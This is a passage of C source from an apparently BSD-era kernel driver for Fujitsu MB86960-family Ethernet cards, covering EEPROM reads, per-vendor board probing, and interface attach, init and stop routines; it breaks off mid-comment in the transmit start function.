outb(bmpr16, FE_B16_SELECT | FE_B16_CLOCK);
outb(bmpr16, FE_B16_SELECT);
outb(bmpr16, FE_B16_SELECT);
}
void
fe_read_eeprom(sc, data)
struct fe_softc *sc;
u_char *data;
{
int iobase = sc->sc_iobase;
int bmpr16 = iobase + FE_BMPR16;
int bmpr17 = iobase + FE_BMPR17;
u_char n, val, bit;
/* Read bytes from EEPROM; two bytes per an iterration. */
for (n = 0; n < FE_EEPROM_SIZE / 2; n++) {
/* Reset the EEPROM interface. */
outb(bmpr16, 0x00);
outb(bmpr17, 0x00);
outb(bmpr16, FE_B16_SELECT);
/* Start EEPROM access. */
outb(bmpr17, FE_B17_DATA);
strobe(bmpr16);
/* Pass the iterration count to the chip. */
val = 0x80 | n;
for (bit = 0x80; bit != 0x00; bit >>= 1) {
outb(bmpr17, (val & bit) ? FE_B17_DATA : 0);
strobe(bmpr16);
}
outb(bmpr17, 0x00);
/* Read a byte. */
val = 0;
for (bit = 0x80; bit != 0x00; bit >>= 1) {
strobe(bmpr16);
if (inb(bmpr17) & FE_B17_DATA)
val |= bit;
}
*data++ = val;
/* Read one more byte. */
val = 0;
for (bit = 0x80; bit != 0x00; bit >>= 1) {
strobe(bmpr16);
if (inb(bmpr17) & FE_B17_DATA)
val |= bit;
}
*data++ = val;
}
#if FE_DEBUG >= 3
/* Report what we got. */
data -= FE_EEPROM_SIZE;
log(LOG_INFO, "%s: EEPROM at %04x:"
" %02x%02x%02x%02x %02x%02x%02x%02x -"
" %02x%02x%02x%02x %02x%02x%02x%02x -"
" %02x%02x%02x%02x %02x%02x%02x%02x -"
" %02x%02x%02x%02x %02x%02x%02x%02x\n",
sc->sc_dev.dv_xname, iobase,
data[ 0], data[ 1], data[ 2], data[ 3],
data[ 4], data[ 5], data[ 6], data[ 7],
data[ 8], data[ 9], data[10], data[11],
data[12], data[13], data[14], data[15],
data[16], data[17], data[18], data[19],
data[20], data[21], data[22], data[23],
data[24], data[25], data[26], data[27],
data[28], data[29], data[30], data[31]);
#endif
}
/*
* Hardware (vendor) specific probe routines.
*/
/*
* Probe and initialization for Fujitsu FMV-180 series boards
*/
int
fe_probe_fmv(sc, ia)
struct fe_softc *sc;
struct isa_attach_args *ia;
{
int i, n;
int iobase = sc->sc_iobase;
int irq;
static int const iomap[8] =
{ 0x220, 0x240, 0x260, 0x280, 0x2A0, 0x2C0, 0x300, 0x340 };
static int const irqmap[4] =
{ 3, 7, 10, 15 };
static struct fe_simple_probe_struct const probe_table[] = {
{ FE_DLCR2, 0x70, 0x00 },
{ FE_DLCR4, 0x08, 0x00 },
/* { FE_DLCR5, 0x80, 0x00 }, Doesn't work. */
{ FE_FMV0, FE_FMV0_MAGIC_MASK, FE_FMV0_MAGIC_VALUE },
{ FE_FMV1, FE_FMV1_CARDID_MASK, FE_FMV1_CARDID_ID },
{ FE_FMV3, FE_FMV3_EXTRA_MASK, FE_FMV3_EXTRA_VALUE },
#if 1
/*
* Test *vendor* part of the station address for Fujitsu.
* The test will gain reliability of probe process, but
* it rejects FMV-180 clone boards manufactured by other vendors.
* We have to turn the test off when such cards are made available.
*/
{ FE_FMV4, 0xFF, 0x00 },
{ FE_FMV5, 0xFF, 0x00 },
{ FE_FMV6, 0xFF, 0x0E },
#else
/*
* We can always verify the *first* 2 bits (in Ehternet
* bit order) are "no multicast" and "no local" even for
* unknown vendors.
*/
{ FE_FMV4, 0x03, 0x00 },
#endif
{ 0 }
};
#if 0
/*
* Dont probe at all if the config says we are PCMCIA...
*/
if ((cf->cf_flags & FE_FLAGS_PCMCIA) != 0)
return (0);
#endif
/*
* See if the sepcified address is possible for FMV-180 series.
*/
for (i = 0; i < 8; i++) {
if (iomap[i] == iobase)
break;
}
if (i == 8)
return (0);
/* Simple probe. */
if (!fe_simple_probe(iobase, probe_table))
return (0);
/* Check if our I/O address matches config info on EEPROM. */
n = (inb(iobase + FE_FMV2) & FE_FMV2_ADDR) >> FE_FMV2_ADDR_SHIFT;
if (iomap[n] != iobase)
return (0);
/* Determine the card type. */
switch (inb(iobase + FE_FMV0) & FE_FMV0_MODEL) {
case FE_FMV0_MODEL_FMV181:
sc->type = FE_TYPE_FMV181;
sc->typestr = "FMV-181";
break;
case FE_FMV0_MODEL_FMV182:
sc->type = FE_TYPE_FMV182;
sc->typestr = "FMV-182";
break;
default:
/* Unknown card type: maybe a new model, but... */
return (0);
}
/*
* An FMV-180 has successfully been proved.
* Determine which IRQ to be used.
*
* In this version, we always get an IRQ assignment from the
* FMV-180's configuration EEPROM, ignoring that specified in
* config file.
*/
n = (inb(iobase + FE_FMV2) & FE_FMV2_IRQ) >> FE_FMV2_IRQ_SHIFT;
irq = irqmap[n];
if (ia->ia_irq != IRQUNK) {
if (ia->ia_irq != irq) {
printf("%s: irq mismatch; kernel configured %d != board configured %d\n",
sc->sc_dev.dv_xname, ia->ia_irq, irq);
return (0);
}
} else
ia->ia_irq = irq;
/*
* Initialize constants in the per-line structure.
*/
/* Get our station address from EEPROM. */
inblk(iobase + FE_FMV4, sc->sc_enaddr, ETHER_ADDR_LEN);
/* Make sure we got a valid station address. */
if ((sc->sc_enaddr[0] & 0x03) != 0x00
|| (sc->sc_enaddr[0] == 0x00
&& sc->sc_enaddr[1] == 0x00
&& sc->sc_enaddr[2] == 0x00))
return (0);
/* Register values which depend on board design. */
sc->proto_dlcr4 = FE_D4_LBC_DISABLE | FE_D4_CNTRL;
sc->proto_dlcr5 = 0;
sc->proto_dlcr7 = FE_D7_BYTSWP_LH | FE_D7_IDENT_EC;
sc->proto_bmpr13 = FE_B13_TPTYPE_UTP | FE_B13_PORT_AUTO;
/*
* Program the 86960 as follows:
* SRAM: 32KB, 100ns, byte-wide access.
* Transmission buffer: 4KB x 2.
* System bus interface: 16 bits.
* We cannot change these values but TXBSIZE, because they
* are hard-wired on the board. Modifying TXBSIZE will affect
* the driver performance.
*/
sc->proto_dlcr6 = FE_D6_BUFSIZ_32KB | FE_D6_TXBSIZ_2x4KB
| FE_D6_BBW_BYTE | FE_D6_SBW_WORD | FE_D6_SRAM_100ns;
/*
* Minimum initialization of the hardware.
* We write into registers; hope I/O ports have no
* overlap with other boards.
*/
/* Initialize ASIC. */
outb(iobase + FE_FMV3, 0);
outb(iobase + FE_FMV10, 0);
/* Wait for a while. I'm not sure this is necessary. FIXME. */
delay(200);
/* Initialize 86960. */
outb(iobase + FE_DLCR6, sc->proto_dlcr6 | FE_D6_DLC_DISABLE);
delay(200);
/* Disable all interrupts. */
outb(iobase + FE_DLCR2, 0);
outb(iobase + FE_DLCR3, 0);
/* Turn the "master interrupt control" flag of ASIC on. */
outb(iobase + FE_FMV3, FE_FMV3_ENABLE_FLAG);
/*
* That's all. FMV-180 occupies 32 I/O addresses, by the way.
*/
ia->ia_iosize = 32;
ia->ia_msize = 0;
return (1);
}
/*
* Probe and initialization for Allied-Telesis AT1700/RE2000 series.
*/
int
fe_probe_ati(sc, ia)
struct fe_softc *sc;
struct isa_attach_args *ia;
{
int i, n;
int iobase = sc->sc_iobase;
u_char eeprom[FE_EEPROM_SIZE];
u_char save16, save17;
int irq;
static int const iomap[8] =
{ 0x260, 0x280, 0x2A0, 0x240, 0x340, 0x320, 0x380, 0x300 };
static int const irqmap[4][4] = {
{ 3, 4, 5, 9 },
{ 10, 11, 12, 15 },
{ 3, 11, 5, 15 },
{ 10, 11, 14, 15 },
};
static struct fe_simple_probe_struct const probe_table[] = {
{ FE_DLCR2, 0x70, 0x00 },
{ FE_DLCR4, 0x08, 0x00 },
{ FE_DLCR5, 0x80, 0x00 },
#if 0
{ FE_BMPR16, 0x1B, 0x00 },
{ FE_BMPR17, 0x7F, 0x00 },
#endif
{ 0 }
};
#if 0
/*
* Don't probe at all if the config says we are PCMCIA...
*/
if ((cf->cf_flags & FE_FLAGS_PCMCIA) != 0)
return (0);
#endif
#if FE_DEBUG >= 4
log(LOG_INFO, "%s: probe (0x%x) for ATI\n", sc->sc_dev.dv_xname, iobase);
fe_dump(LOG_INFO, sc);
#endif
/*
* See if the sepcified address is possible for MB86965A JLI mode.
*/
for (i = 0; i < 8; i++) {
if (iomap[i] == iobase)
break;
}
if (i == 8)
return (0);
/*
* We should test if MB86965A is on the base address now.
* Unfortunately, it is very hard to probe it reliably, since
* we have no way to reset the chip under software control.
* On cold boot, we could check the "signature" bit patterns
* described in the Fujitsu document. On warm boot, however,
* we can predict almost nothing about register values.
*/
if (!fe_simple_probe(iobase, probe_table))
return (0);
/* Save old values of the registers. */
save16 = inb(iobase + FE_BMPR16);
save17 = inb(iobase + FE_BMPR17);
/* Check if our I/O address matches config info on 86965. */
n = (inb(iobase + FE_BMPR19) & FE_B19_ADDR) >> FE_B19_ADDR_SHIFT;
if (iomap[n] != iobase)
goto fail;
/*
* We are now almost sure we have an AT1700 at the given
* address. So, read EEPROM through 86965. We have to write
* into LSI registers to read from EEPROM. I want to avoid it
* at this stage, but I cannot test the presense of the chip
* any further without reading EEPROM. FIXME.
*/
fe_read_eeprom(sc, eeprom);
/* Make sure the EEPROM is turned off. */
outb(iobase + FE_BMPR16, 0);
outb(iobase + FE_BMPR17, 0);
/* Make sure that config info in EEPROM and 86965 agree. */
if (eeprom[FE_EEPROM_CONF] != inb(iobase + FE_BMPR19))
goto fail;
/*
* Determine the card type.
*/
switch (eeprom[FE_ATI_EEP_MODEL]) {
case FE_ATI_MODEL_AT1700T:
sc->type = FE_TYPE_AT1700T;
sc->typestr = "AT-1700T";
break;
case FE_ATI_MODEL_AT1700BT:
sc->type = FE_TYPE_AT1700BT;
sc->typestr = "AT-1700BT";
break;
case FE_ATI_MODEL_AT1700FT:
sc->type = FE_TYPE_AT1700FT;
sc->typestr = "AT-1700FT";
break;
case FE_ATI_MODEL_AT1700AT:
sc->type = FE_TYPE_AT1700AT;
sc->typestr = "AT-1700AT";
break;
default:
sc->type = FE_TYPE_RE2000;
sc->typestr = "unknown (RE-2000?)";
break;
}
/*
* Try to determine IRQ settings.
* Different models use different ranges of IRQs.
*/
n = (inb(iobase + FE_BMPR19) & FE_B19_IRQ) >> FE_B19_IRQ_SHIFT;
switch (eeprom[FE_ATI_EEP_REVISION] & 0xf0) {
case 0x30:
irq = irqmap[3][n];
break;
case 0x10:
case 0x50:
irq = irqmap[2][n];
break;
case 0x40:
case 0x60:
if (eeprom[FE_ATI_EEP_MAGIC] & 0x04) {
irq = irqmap[1][n];
break;
}
default:
irq = irqmap[0][n];
break;
}
if (ia->ia_irq != IRQUNK) {
if (ia->ia_irq != irq) {
printf("%s: irq mismatch; kernel configured %d != board configured %d\n",
sc->sc_dev.dv_xname, ia->ia_irq, irq);
return (0);
}
} else
ia->ia_irq = irq;
/*
* Initialize constants in the per-line structure.
*/
/* Get our station address from EEPROM. */
bcopy(eeprom + FE_ATI_EEP_ADDR, sc->sc_enaddr, ETHER_ADDR_LEN);
/* Make sure we got a valid station address. */
if ((sc->sc_enaddr[0] & 0x03) != 0x00
|| (sc->sc_enaddr[0] == 0x00
&& sc->sc_enaddr[1] == 0x00
&& sc->sc_enaddr[2] == 0x00))
goto fail;
/* Should find all register prototypes here. FIXME. */
sc->proto_dlcr4 = FE_D4_LBC_DISABLE | FE_D4_CNTRL; /* FIXME */
sc->proto_dlcr5 = 0;
sc->proto_dlcr7 = FE_D7_BYTSWP_LH | FE_D7_IDENT_EC;
#if 0 /* XXXX Should we use this? */
sc->proto_bmpr13 = eeprom[FE_ATI_EEP_MEDIA];
#else
sc->proto_bmpr13 = FE_B13_TPTYPE_UTP | FE_B13_PORT_AUTO;
#endif
/*
* Program the 86965 as follows:
* SRAM: 32KB, 100ns, byte-wide access.
* Transmission buffer: 4KB x 2.
* System bus interface: 16 bits.
* We cannot change these values but TXBSIZE, because they
* are hard-wired on the board. Modifying TXBSIZE will affect
* the driver performance.
*/
sc->proto_dlcr6 = FE_D6_BUFSIZ_32KB | FE_D6_TXBSIZ_2x4KB
| FE_D6_BBW_BYTE | FE_D6_SBW_WORD | FE_D6_SRAM_100ns;
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: ATI found\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
/* Initialize 86965. */
outb(iobase + FE_DLCR6, sc->proto_dlcr6 | FE_D6_DLC_DISABLE);
delay(200);
/* Disable all interrupts. */
outb(iobase + FE_DLCR2, 0);
outb(iobase + FE_DLCR3, 0);
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: end of fe_probe_ati()\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
/*
* That's all. AT1700 occupies 32 I/O addresses, by the way.
*/
ia->ia_iosize = 32;
ia->ia_msize = 0;
return (1);
fail:
/* Restore register values, in the case we had no 86965. */
outb(iobase + FE_BMPR16, save16);
outb(iobase + FE_BMPR17, save17);
return (0);
}
/*
* Probe and initialization for Fujitsu MBH10302 PCMCIA Ethernet interface.
*/
int
fe_probe_mbh(sc, ia)
struct fe_softc *sc;
struct isa_attach_args *ia;
{
int iobase = sc->sc_iobase;
static struct fe_simple_probe_struct probe_table[] = {
{ FE_DLCR2, 0x70, 0x00 },
{ FE_DLCR4, 0x08, 0x00 },
/* { FE_DLCR5, 0x80, 0x00 }, Does not work well. */
#if 0
/*
* Test *vendor* part of the address for Fujitsu.
* The test will gain reliability of probe process, but
* it rejects clones by other vendors, or OEM product
* supplied by resalers other than Fujitsu.
*/
{ FE_MBH10, 0xFF, 0x00 },
{ FE_MBH11, 0xFF, 0x00 },
{ FE_MBH12, 0xFF, 0x0E },
#else
/*
* We can always verify the *first* 2 bits (in Ehternet
* bit order) are "global" and "unicast" even for
* unknown vendors.
*/
{ FE_MBH10, 0x03, 0x00 },
#endif
/* Just a gap? Seems reliable, anyway. */
{ 0x12, 0xFF, 0x00 },
{ 0x13, 0xFF, 0x00 },
{ 0x14, 0xFF, 0x00 },
{ 0x15, 0xFF, 0x00 },
{ 0x16, 0xFF, 0x00 },
{ 0x17, 0xFF, 0x00 },
{ 0x18, 0xFF, 0xFF },
{ 0x19, 0xFF, 0xFF },
{ 0 }
};
#if 0
/*
* We need a PCMCIA flag.
*/
if ((cf->cf_flags & FE_FLAGS_PCMCIA) == 0)
return (0);
#endif
/*
* We need explicit IRQ and supported address.
*/
if (ia->ia_irq == IRQUNK || (iobase & ~0x3E0) != 0)
return (0);
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: top of fe_probe_mbh()\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
/*
* See if MBH10302 is on its address.
* I'm not sure the following probe code works. FIXME.
*/
if (!fe_simple_probe(iobase, probe_table))
return (0);
/* Determine the card type. */
sc->type = FE_TYPE_MBH10302;
sc->typestr = "MBH10302 (PCMCIA)";
/*
* Initialize constants in the per-line structure.
*/
/* Get our station address from EEPROM. */
inblk(iobase + FE_MBH10, sc->sc_enaddr, ETHER_ADDR_LEN);
/* Make sure we got a valid station address. */
if ((sc->sc_enaddr[0] & 0x03) != 0x00
|| (sc->sc_enaddr[0] == 0x00
&& sc->sc_enaddr[1] == 0x00
&& sc->sc_enaddr[2] == 0x00))
return (0);
/* Should find all register prototypes here. FIXME. */
sc->proto_dlcr4 = FE_D4_LBC_DISABLE | FE_D4_CNTRL;
sc->proto_dlcr5 = 0;
sc->proto_dlcr7 = FE_D7_BYTSWP_LH | FE_D7_IDENT_NICE;
sc->proto_bmpr13 = FE_B13_TPTYPE_UTP | FE_B13_PORT_AUTO;
/*
* Program the 86960 as follows:
* SRAM: 32KB, 100ns, byte-wide access.
* Transmission buffer: 4KB x 2.
* System bus interface: 16 bits.
* We cannot change these values but TXBSIZE, because they
* are hard-wired on the board. Modifying TXBSIZE will affect
* the driver performance.
*/
sc->proto_dlcr6 = FE_D6_BUFSIZ_32KB | FE_D6_TXBSIZ_2x4KB
| FE_D6_BBW_BYTE | FE_D6_SBW_WORD | FE_D6_SRAM_100ns;
/* Setup hooks. We need a special initialization procedure. */
sc->init = fe_init_mbh;
/*
* Minimum initialization.
*/
/* Wait for a while. I'm not sure this is necessary. FIXME. */
delay(200);
/* Minimul initialization of 86960. */
outb(iobase + FE_DLCR6, sc->proto_dlcr6 | FE_D6_DLC_DISABLE);
delay(200);
/* Disable all interrupts. */
outb(iobase + FE_DLCR2, 0);
outb(iobase + FE_DLCR3, 0);
#if 1 /* FIXME. */
/* Initialize system bus interface and encoder/decoder operation. */
outb(iobase + FE_MBH0, FE_MBH0_MAGIC | FE_MBH0_INTR_DISABLE);
#endif
/*
* That's all. MBH10302 occupies 32 I/O addresses, by the way.
*/
ia->ia_iosize = 32;
ia->ia_msize = 0;
return (1);
}
/* MBH specific initialization routine. */
void
fe_init_mbh(sc)
struct fe_softc *sc;
{
/* Probably required after hot-insertion... */
/* Wait for a while. I'm not sure this is necessary. FIXME. */
delay(200);
/* Minimul initialization of 86960. */
outb(sc->sc_iobase + FE_DLCR6, sc->proto_dlcr6 | FE_D6_DLC_DISABLE);
delay(200);
/* Disable all interrupts. */
outb(sc->sc_iobase + FE_DLCR2, 0);
outb(sc->sc_iobase + FE_DLCR3, 0);
/* Enable master interrupt flag. */
outb(sc->sc_iobase + FE_MBH0, FE_MBH0_MAGIC | FE_MBH0_INTR_ENABLE);
}
/*
* Install interface into kernel networking data structures
*/
void
feattach(parent, self, aux)
struct device *parent, *self;
void *aux;
{
struct fe_softc *sc = (void *)self;
struct isa_attach_args *ia = aux;
struct cfdata *cf = sc->sc_dev.dv_cfdata;
struct ifnet *ifp = &sc->sc_arpcom.ac_if;
/* Stop the 86960. */
fe_stop(sc);
/* Initialize ifnet structure. */
bcopy(sc->sc_dev.dv_xname, ifp->if_xname, IFNAMSIZ);
ifp->if_softc = sc;
ifp->if_start = fe_start;
ifp->if_ioctl = fe_ioctl;
ifp->if_watchdog = fe_watchdog;
ifp->if_flags =
IFF_BROADCAST | IFF_SIMPLEX | IFF_NOTRAILERS | IFF_MULTICAST;
/*
* Set maximum size of output queue, if it has not been set.
* It is done here as this driver may be started after the
* system intialization (i.e., the interface is PCMCIA.)
*
* I'm not sure this is really necessary, but, even if it is,
* it should be done somewhere else, e.g., in if_attach(),
* since it must be a common workaround for all network drivers.
* FIXME.
*/
if (ifp->if_snd.ifq_maxlen == 0) {
extern int ifqmaxlen; /* Don't be so shocked... */
ifp->if_snd.ifq_maxlen = ifqmaxlen;
}
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: feattach()\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
#if FE_SINGLE_TRANSMISSION
/* Override txb config to allocate minimum. */
sc->proto_dlcr6 &= ~FE_D6_TXBSIZ
sc->proto_dlcr6 |= FE_D6_TXBSIZ_2x2KB;
#endif
/* Modify hardware config if it is requested. */
if ((cf->cf_flags & FE_FLAGS_OVERRIDE_DLCR6) != 0)
sc->proto_dlcr6 = cf->cf_flags & FE_FLAGS_DLCR6_VALUE;
/* Find TX buffer size, based on the hardware dependent proto. */
switch (sc->proto_dlcr6 & FE_D6_TXBSIZ) {
case FE_D6_TXBSIZ_2x2KB:
sc->txb_size = 2048;
break;
case FE_D6_TXBSIZ_2x4KB:
sc->txb_size = 4096;
break;
case FE_D6_TXBSIZ_2x8KB:
sc->txb_size = 8192;
break;
default:
/* Oops, we can't work with single buffer configuration. */
#if FE_DEBUG >= 2
log(LOG_WARNING, "%s: strange TXBSIZ config; fixing\n",
sc->sc_dev.dv_xname);
#endif
sc->proto_dlcr6 &= ~FE_D6_TXBSIZ;
sc->proto_dlcr6 |= FE_D6_TXBSIZ_2x2KB;
sc->txb_size = 2048;
break;
}
/* Attach the interface. */
if_attach(ifp);
ether_ifattach(ifp);
/* Print additional info when attached. */
printf(": address %s, type %s\n",
ether_sprintf(sc->sc_arpcom.ac_enaddr), sc->typestr);
#if FE_DEBUG >= 3
{
int buf, txb, bbw, sbw, ram;
buf = txb = bbw = sbw = ram = -1;
switch (sc->proto_dlcr6 & FE_D6_BUFSIZ) {
case FE_D6_BUFSIZ_8KB:
buf = 8;
break;
case FE_D6_BUFSIZ_16KB:
buf = 16;
break;
case FE_D6_BUFSIZ_32KB:
buf = 32;
break;
case FE_D6_BUFSIZ_64KB:
buf = 64;
break;
}
switch (sc->proto_dlcr6 & FE_D6_TXBSIZ) {
case FE_D6_TXBSIZ_2x2KB:
txb = 2;
break;
case FE_D6_TXBSIZ_2x4KB:
txb = 4;
break;
case FE_D6_TXBSIZ_2x8KB:
txb = 8;
break;
}
switch (sc->proto_dlcr6 & FE_D6_BBW) {
case FE_D6_BBW_BYTE:
bbw = 8;
break;
case FE_D6_BBW_WORD:
bbw = 16;
break;
}
switch (sc->proto_dlcr6 & FE_D6_SBW) {
case FE_D6_SBW_BYTE:
sbw = 8;
break;
case FE_D6_SBW_WORD:
sbw = 16;
break;
}
switch (sc->proto_dlcr6 & FE_D6_SRAM) {
case FE_D6_SRAM_100ns:
ram = 100;
break;
case FE_D6_SRAM_150ns:
ram = 150;
break;
}
printf("%s: SRAM %dKB %dbit %dns, TXB %dKBx2, %dbit I/O\n",
sc->sc_dev.dv_xname, buf, bbw, ram, txb, sbw);
}
#endif
#if NBPFILTER > 0
/* If BPF is in the kernel, call the attach for it. */
bpfattach(&ifp->if_bpf, ifp, DLT_EN10MB, sizeof(struct ether_header));
#endif
sc->sc_ih = isa_intr_establish(ia->ia_ic, ia->ia_irq, IST_EDGE,
IPL_NET, feintr, sc, sc->sc_dev.dv_xname);
}
/*
* Reset interface.
*/
void
fe_reset(sc)
struct fe_softc *sc;
{
int s;
s = splnet();
fe_stop(sc);
fe_init(sc);
splx(s);
}
/*
* Stop everything on the interface.
*
* All buffered packets, both transmitting and receiving,
* if any, will be lost by stopping the interface.
*/
void
fe_stop(sc)
struct fe_softc *sc;
{
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: top of fe_stop()\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
/* Disable interrupts. */
outb(sc->sc_iobase + FE_DLCR2, 0x00);
outb(sc->sc_iobase + FE_DLCR3, 0x00);
/* Stop interface hardware. */
delay(200);
outb(sc->sc_iobase + FE_DLCR6, sc->proto_dlcr6 | FE_D6_DLC_DISABLE);
delay(200);
/* Clear all interrupt status. */
outb(sc->sc_iobase + FE_DLCR0, 0xFF);
outb(sc->sc_iobase + FE_DLCR1, 0xFF);
/* Put the chip in stand-by mode. */
delay(200);
outb(sc->sc_iobase + FE_DLCR7, sc->proto_dlcr7 | FE_D7_POWER_DOWN);
delay(200);
/* MAR loading can be delayed. */
sc->filter_change = 0;
/* Call a hook. */
if (sc->stop)
sc->stop(sc);
#if DEBUG >= 3
log(LOG_INFO, "%s: end of fe_stop()\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
}
/*
* Device timeout/watchdog routine. Entered if the device neglects to
* generate an interrupt after a transmit has been started on it.
*/
void
fe_watchdog(ifp)
struct ifnet *ifp;
{
struct fe_softc *sc = ifp->if_softc;
log(LOG_ERR, "%s: device timeout\n", sc->sc_dev.dv_xname);
#if FE_DEBUG >= 3
fe_dump(LOG_INFO, sc);
#endif
/* Record how many packets are lost by this accident. */
sc->sc_arpcom.ac_if.if_oerrors += sc->txb_sched + sc->txb_count;
fe_reset(sc);
}
/*
* Drop (skip) a packet from receive buffer in 86960 memory.
*/
static inline void
fe_droppacket(sc)
struct fe_softc *sc;
{
outb(sc->sc_iobase + FE_BMPR14, FE_B14_FILTER | FE_B14_SKIP);
}
/*
* Initialize device.
*/
void
fe_init(sc)
struct fe_softc *sc;
{
struct ifnet *ifp = &sc->sc_arpcom.ac_if;
int i;
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: top of fe_init()\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
/* Reset transmitter flags. */
ifp->if_flags &= ~IFF_OACTIVE;
ifp->if_timer = 0;
sc->txb_free = sc->txb_size;
sc->txb_count = 0;
sc->txb_sched = 0;
/* Call a hook. */
if (sc->init)
sc->init(sc);
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: after init hook\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
/*
* Make sure to disable the chip, also.
* This may also help re-programming the chip after
* hot insertion of PCMCIAs.
*/
outb(sc->sc_iobase + FE_DLCR6, sc->proto_dlcr6 | FE_D6_DLC_DISABLE);
/* Power up the chip and select register bank for DLCRs. */
delay(200);
outb(sc->sc_iobase + FE_DLCR7,
sc->proto_dlcr7 | FE_D7_RBS_DLCR | FE_D7_POWER_UP);
delay(200);
/* Feed the station address. */
outblk(sc->sc_iobase + FE_DLCR8, sc->sc_enaddr, ETHER_ADDR_LEN);
/* Select the BMPR bank for runtime register access. */
outb(sc->sc_iobase + FE_DLCR7,
sc->proto_dlcr7 | FE_D7_RBS_BMPR | FE_D7_POWER_UP);
/* Initialize registers. */
outb(sc->sc_iobase + FE_DLCR0, 0xFF); /* Clear all bits. */
outb(sc->sc_iobase + FE_DLCR1, 0xFF); /* ditto. */
outb(sc->sc_iobase + FE_DLCR2, 0x00);
outb(sc->sc_iobase + FE_DLCR3, 0x00);
outb(sc->sc_iobase + FE_DLCR4, sc->proto_dlcr4);
outb(sc->sc_iobase + FE_DLCR5, sc->proto_dlcr5);
outb(sc->sc_iobase + FE_BMPR10, 0x00);
outb(sc->sc_iobase + FE_BMPR11, FE_B11_CTRL_SKIP);
outb(sc->sc_iobase + FE_BMPR12, 0x00);
outb(sc->sc_iobase + FE_BMPR13, sc->proto_bmpr13);
outb(sc->sc_iobase + FE_BMPR14, FE_B14_FILTER);
outb(sc->sc_iobase + FE_BMPR15, 0x00);
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: just before enabling DLC\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
/* Enable interrupts. */
outb(sc->sc_iobase + FE_DLCR2, FE_TMASK);
outb(sc->sc_iobase + FE_DLCR3, FE_RMASK);
/* Enable transmitter and receiver. */
delay(200);
outb(sc->sc_iobase + FE_DLCR6, sc->proto_dlcr6 | FE_D6_DLC_ENABLE);
delay(200);
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: just after enabling DLC\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
/*
* Make sure to empty the receive buffer.
*
* This may be redundant, but *if* the receive buffer were full
* at this point, the driver would hang. I have experienced
* some strange hangups just after UP. I hope the following
* code solve the problem.
*
* I have changed the order of hardware initialization.
* I think the receive buffer cannot have any packets at this
* point in this version. The following code *must* be
* redundant now. FIXME.
*/
for (i = 0; i < FE_MAX_RECV_COUNT; i++) {
if (inb(sc->sc_iobase + FE_DLCR5) & FE_D5_BUFEMP)
break;
fe_droppacket(sc);
}
#if FE_DEBUG >= 1
if (i >= FE_MAX_RECV_COUNT) {
log(LOG_ERR, "%s: cannot empty receive buffer\n",
sc->sc_dev.dv_xname);
}
#endif
#if FE_DEBUG >= 3
if (i < FE_MAX_RECV_COUNT) {
log(LOG_INFO, "%s: receive buffer emptied (%d)\n",
sc->sc_dev.dv_xname, i);
}
#endif
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: after ERB loop\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
/* Do we need this here? */
outb(sc->sc_iobase + FE_DLCR0, 0xFF); /* Clear all bits. */
outb(sc->sc_iobase + FE_DLCR1, 0xFF); /* ditto. */
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: after FIXME\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
/* Set 'running' flag. */
ifp->if_flags |= IFF_RUNNING;
/*
* At this point, the interface is runnung properly,
* except that it receives *no* packets. we then call
* fe_setmode() to tell the chip what packets to be
* received, based on the if_flags and multicast group
* list. It completes the initialization process.
*/
fe_setmode(sc);
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: after setmode\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
/* ...and attempt to start output. */
fe_start(ifp);
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: end of fe_init()\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
}
/*
* This routine actually starts the transmission on the interface
*/
static inline void
fe_xmit(sc)
struct fe_softc *sc;
{
/*
* Set a timer just in case we never hear from the board again.
* We use longer timeout for multiple packet transmission.
* I'm not sure this timer value is appropriate. FIXME.
*/
sc->sc_arpcom.ac_if.if_timer = 1 + sc->txb_count;
/* Update txb variables. */
sc->txb_sched = sc->txb_count;
sc->txb_count = 0;
sc->txb_free = sc->txb_size;
#if FE_DELAYED_PADDING
/* Omit the postponed padding process. */
sc->txb_padding = 0;
#endif
/* Start transmitter, passing packets in TX buffer. */
outb(sc->sc_iobase + FE_BMPR10, sc->txb_sched | FE_B10_START);
}
/*
* Start output on interface.
* We make two assumptions here:
* 1) that the current priority is set to splnet _before_ this code
* is called *and* is returned to the appropriate priority after
* return
* 2) that the IFF_OACTIVE flag is checked before this code is called
* (i.e. that the output part of the interface is idle)
*/
void
fe_start(ifp)
struct ifnet *ifp;
{
struct fe_softc *sc = ifp->if_softc;
struct mbuf *m;
#if FE_DEBUG >= 1
/* Just a sanity check. */
if ((sc->txb_count == 0) != (sc->txb_free == sc->txb_size)) {
/*
* Txb_count and txb_free co-works to manage the
* transmission buffer. Txb_count keeps track of the
* used potion of the buffer, while txb_free does unused
* potion. So, as long as the driver runs properly,
* txb_count is zero if and only if txb_free is same
* as txb_size (which represents whole buffer.)
*/
log(LOG_ERR, "%s: inconsistent txb variables (%d, %d)\n",
sc->sc_dev.dv_xname, sc->txb_count, sc->txb_free);
/*
* So, what should I do, then?
*
* We now know txb_count and txb_free contradicts. We
